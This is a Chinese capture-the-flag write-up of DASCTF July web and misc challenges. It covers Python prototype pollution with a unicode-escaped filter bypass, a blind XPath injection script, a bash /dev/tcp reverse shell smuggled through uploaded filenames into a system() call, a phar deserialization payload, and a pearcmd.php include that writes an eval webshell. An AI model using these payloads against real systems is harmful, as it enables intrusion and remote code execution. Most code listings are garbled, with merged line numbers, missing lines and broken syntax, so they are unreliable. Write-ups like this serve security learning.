本文最后更新于:2023年8月25日 下午
                  
                
              
            
            
              
                
                [TOC]
[DASCTF7月赛] misc Coffee desu! 
hint1: Strange Protocol
 
经过搜索,发现这个是一种恶搞协议:
自定义了一些请求方式
结合首页英文:
1 You should add  the  milktea before  getting the  coffee!
我们需要使用BREW向服务器添加milktea
返回:
1 The resource identified by  the  request is only capable of  generating response entities which have content characteristics not  acceptable according to  the  accept headers sent in  the  request.
这个协议定义了:Accept-Additions头,于是我们添加上:milktea
添加之后我们使用GET将其取出:
web ezFlask 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 import  uuidfrom  flask import  Flask, request, sessionfrom  secret import  black_listimport  jsonstr (uuid.uuid4())def  check (data ):for  i in  black_list:if  i in  data:return  False return  True def  merge (src, dst ):for  k, v in  src.items():if  hasattr (dst, '__getitem__' ):if  dst.get(k) and  type (v) == dict :else :elif  hasattr (dst, k) and  type (v) == dict :getattr (dst, k))else :setattr (dst, k, v)class  user ():def  __init__ (self ):"" "" pass def  check (self, data ):if  self.username == data['username' ] and  self.password == data['password' ]:return  True return  False @app.route('/register' ,methods=['POST' ] def  register ():if  request.data:try :if  not  check(request.data):return  "Register Failed" if  "username"  not  in  data or  "password"  not  in  data:return  "Register Failed" except  Exception:return  "Register Failed" return  "Register Success" else :return  "Register Failed" @app.route('/login' ,methods=['POST' ] def  login ():if  request.data:try :if  "username"  not  in  data or  "password"  not  in  data:return  "Login Failed" for  user in  Users:if  user.check(data):"username" ] = data["username" ]return  "Login Success" except  Exception:return  "Login Failed" return  "Login Failed" @app.route('/' ,methods=['GET' ] def  index ():return  open (__file__, "r" ).read()if  __name__ == "__main__" :"0.0.0.0" , port=5010 )
这是一个flask框架的题,根路由是一个读文件函数,读取__file__里面的内容(源码),显示到首页
有一个check函数:遍历一下data中的值,如果在黑名单中就返回false,否则返回true
定义了一个user类,成员变量username、password初值为空,类中定义了一个check函数,如果与输入的data中的相等才返回true
写了一个merge函数,这个函数是重点:
这个函数的作用是将两个字典对象 src 和 dst 进行合并。它逐个遍历 src 中的键值对,并根据一定的规则将其合并到 dst 中。
具体来说,函数执行以下操作:
对于 src 中的每个键值对 (k, v):
如果 dst 是一个可索引的对象(如字典),并且 dst 中存在键 k,并且值类型 v 是字典类型,则使用递归调用 merge(v, dst[k]) 将 v 和 dst[k] 进行合并。 
否则,将 v 赋值给 dst 的键 k。 
 
如果 dst 不是可索引的对象,而是一个具有属性的对象,则对于 src 中的每个键值对 (k, v):
如果 dst 拥有属性 k,并且值类型 v 是字典类型,则使用递归调用 merge(v, getattr(dst, k)) 将 v 和 dst 的属性 k 进行合并。 
否则,将 v 设置为 dst 的属性 k。 
 
 
简而言之,该函数通过递归地合并两个字典对象的键值对,将 src 中的内容合并到 dst 中,确保最终的 dst 包含 src 的所有键值对。
需要注意的是,该函数对于嵌套的字典结构特别有用,因为它可以处理深层嵌套的情况。但请注意在使用时确保 src 和 dst 的数据结构是可变的(mutable),否则可能会导致意外的结果。
 
register路由:json类型数据需要通过check()函数检查,如果其中没有username、password则失败,否则创建一个用户,将data字典中的数据,添加到User字典中
这里主要需要关注这些代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def  merge (src, dst ):for  k, v in  src.items():if  hasattr (dst, '__getitem__' ):if  dst.get(k) and  type (v) == dict :else :elif  hasattr (dst, k) and  type (v) == dict :getattr (dst, k))else :setattr (dst, k, v)@app.route('/' ,methods=['GET' ] def  index ():return  open (__file__, "r" ).read()
这个题目乍一眼看好像无从下手,没有漏洞点,但是这里会产生类似覆盖的效果
经过搜索,知道了这是: Python原型链污染 
文章里详细的讲述了,可以污染类中的属性值:
这里我们截取到一段利用的payload:
1 2 3 4 5 6 7 8 9 10 11 { "__init__"  :  { "__globals__"  :  { "app"  :  { "config"  :  { "SECRET_KEY"  : "Polluted~" } } } } } 
这一段代码可以通过merge()自定义函数,污染flask中的SECRET_KEY
我们重新回到题目,分析一下我们实际可以污染根路由的文件的__file__属性,如果控制了这里就可以实现任意文件读取了
我们仿照上面的payload,构造出如下payload:
1 2 3 4 5 6 7 8 9 { "__init__" :  {  "__globals__" :  { "__file__" : "app.py" } } , "username" : "admin" , "password" : "123" } 
这样就可以将__file__污染为app.py了,
但是经过尝试,发现失败了,原因是check()函数把__init__过滤了,没法用了
但是我们可以尝试编码绕过,json中可以使用unicode编码,我们使用cyberchef编码一下:
1 2 3 __init__\u005F \u005F \u0069 \u006E \u0069 \u0074 \u005F \u005F 
这样就可以绕过了,然后非预期就是读一下/proc/1/environ得到flag:
预期解是通过任意文件读取,伪造flask的pin码,然后命令执行查询到flag
MyPicDisk 首先通过万能密码登录:
但是这里需要在用户名处输入:
下载:/y0u_cant_find_1t.zip
得到:index.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 <?php session_start ();error_reporting (0 );class  FILE public  $filename ;public  $lasttime ;public  $size ;public  function  __construct ($filename if  (preg_match ("/\//i" , $filename )){throw  new  Error ("hacker!" );$num  = substr_count ($filename , "." );if  ($num  != 1 ){throw  new  Error ("hacker!" );if  (!is_file ($filename )){throw  new  Error ("???" );$this ->filename = $filename ;$this ->size = filesize ($filename );$this ->lasttime = filemtime ($filename );public  function  remove (unlink ($this ->filename);public  function  show (     {echo  "Filename: " . $this ->filename. "  Last Modified Time: " .$this ->lasttime. "  Filesize: " .$this ->size."<br>" ;public  function  __destruct (system ("ls -all " .$this ->filename);?> "UTF-8" ><?php if  (!isset ($_SESSION ['user' ])){echo  ' <form method="POST">     username:<input type="text" name="username"></p>     password:<input type="password" name="password"></p>     <input type="submit" value="登录" name="submit"></p> </form> ' ;$xml  = simplexml_load_file ('/tmp/secret.xml' );if ($_POST ['submit' ]){$username =$_POST ['username' ];$password =md5 ($_POST ['password' ]);$x_query ="/accounts/user[username='{$username} ' and password='{$password} ']" ;$result  = $xml ->xpath ($x_query );if (count ($result )==0 ){echo  '登录失败' ;else {$_SESSION ['user' ] = $username ;echo  "<script>alert('登录成功!');location.href='/index.php';</script>" ;else {if  ($_SESSION ['user' ] !== 'admin' ) {echo  "<script>alert('you are not admin!!!!!');</script>" ;unset ($_SESSION ['user' ]);echo  "<script>location.href='/index.php';</script>" ;echo  "<!-- /y0u_cant_find_1t.zip -->" ;if  (!$_GET ['file' ]) {foreach  (scandir ("." ) as  $filename ) {if  (preg_match ("/.(jpg|jpeg|gif|png|bmp)$/i" , $filename )) {echo  "<a href='index.php/?file="  . $filename  . "'>"  . $filename  . "</a><br>" ;echo  '   <form action="index.php" method="post" enctype="multipart/form-data">   选择图片:<input type="file" name="file" id="">   <input type="submit" value="上传"></form>   ' ;if  ($_FILES ['file' ]) {$filename  = $_FILES ['file' ]['name' ];if  (!preg_match ("/.(jpg|jpeg|gif|png|bmp)$/i" , $filename )) {die ("hacker!" );if  (move_uploaded_file ($_FILES ['file' ]['tmp_name' ], $filename )) {echo  "<script>alert('图片上传成功!');location.href='/index.php';</script>" ;else  {die ('failed' );else {$filename  = $_GET ['file' ];if  ($_GET ['todo' ] === "md5" ){echo  md5_file ($filename );else  {$file  = new  FILE ($filename );if  ($_GET ['todo' ] !== "remove"  && $_GET ['todo' ] !== "show" ) {echo  "<img src='../"  . $filename  . "'><br>" ;echo  "<a href='../index.php/?file="  . $filename  . "&&todo=remove'>remove</a><br>" ;echo  "<a href='../index.php/?file="  . $filename  . "&&todo=show'>show</a><br>" ;else  if  ($_GET ['todo' ] === "remove" ) {$file ->remove ();echo  "<script>alert('图片已删除!');location.href='/index.php';</script>" ;else  if  ($_GET ['todo' ] === "show" ) {$file ->show ();?> 
这里很明显需要知道:admin的密码才能够完成后续操作,
我们注意到这里:
1 2 3 4 5 6 7 8 9 10 11 12 $xml  = simplexml_load_file ('/tmp/secret.xml' );if ($_POST ['submit' ]){$username =$_POST ['username' ];$password =md5 ($_POST ['password' ]);$x_query ="/accounts/user[username='{$username} ' and password='{$password} ']" ;$result  = $xml ->xpath ($x_query );if (count ($result )==0 ){echo  '登录失败' ;else {$_SESSION ['user' ] = $username ;echo  "<script>alert('登录成功!');location.href='/index.php';</script>" ;
这里对用户名处没有任何过滤就进行xpath查询,所以会导致xpath注入 
 xpath注入学习文章:https://xz.aliyun.com/t/7791?page=1#toc-0 
 
由于这里密码被md5加密了,所以我们可以猜测密码为32位:
xpath查询语句如下:string-length代表查询字符串的长度
1 ' or  string -length ((//user[position ()=1 ]/password[position ()=1 ]))=32  or  '
查询一下确实为32位
接下来写脚本查询password的值即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import  stringimport  timeimport  requests"http://d27bfc8b-3545-410a-9e7a-7446c02e9290.node4.buuoj.cn:81/index.php" "" for  i in  range (1 , 100 ):for  j in  s:0.1 )"' or substring((//user[position()=1]/password[position()=1]),{},1)='{}' or '" .format (i,j)"username" : payload,"password" : "123" ,"submit" : "%E7%99%BB%E5%BD%95" if  "成功"  in  res.text:print (flag)break 
使用:https://www.somd5.com/解密: 
15035371139
接下来登录就可以文件上传了:
文件上传为白名单waf:
1 2 3 if  (!preg_match ("/.(jpg|jpeg|gif|png|bmp)$/i" , $filename )) {die ("hacker!" );
FILE类中会对文件名进行检测,不能包含/和多个小数点
析构方法中命令执行:
1 2 3 public  function  __destruct (system ("ls -all " .$this ->filename);
我们可以利用它来反弹shell,首先上传一个文件名为:;a.jpg,内容为:
1 bash -i>& /dev/tcp/ip/9996 0>&1
然后再上传一个文件:;bash *a.jpg
点击这个文件就可以反弹shell了
也可以phar反序列化,没复现成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class  FILE public  $filename ;public  $lasttime ;public  $size ;public  function  __construct ($filename $this ->filename = $filename ;$a  = new  FILE ("/;cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd" );$phartest =new  phar ('phartest.phar' ,0 );$phartest ->startBuffering ();$phartest ->setMetadata ($a );$phartest ->setStub ("<?php __HALT_COMPILER();?>" );$phartest ->addFromString ("test.txt" ,"test" );$phartest ->stopBuffering ();
ez_cms 熊海cms
经过查询得知,熊海cms首页存在文件包含漏洞:
1 2 3 4 5 6 7 <?php error_reporting (0 ); $file =addslashes ($_GET ['r' ]); $action =$file =='' ?'index' :$file ; include ('files/' .$action .'.php' ); ?> 
于是我们只要包含一个有用的文件即可,但这个有用的文件是什么呢?
这个文件是pearcmd.php,通过包含这个文件可以实现向服务器上写入shell进行rce的操作
可以参考:
我们直接构造:(注意顺序)
1 /?+config-create+/&r=../../../../../../../../../../../../usr/share/php/pearcmd&/<?= phpinfo ();eval ($_POST [1 ]);?> +/tmp/leekos.php
这里需要通过相对路径来找到pearcmd.php(注意最后不需要加上.php)
成功写入,然后蚁剑包含拿flag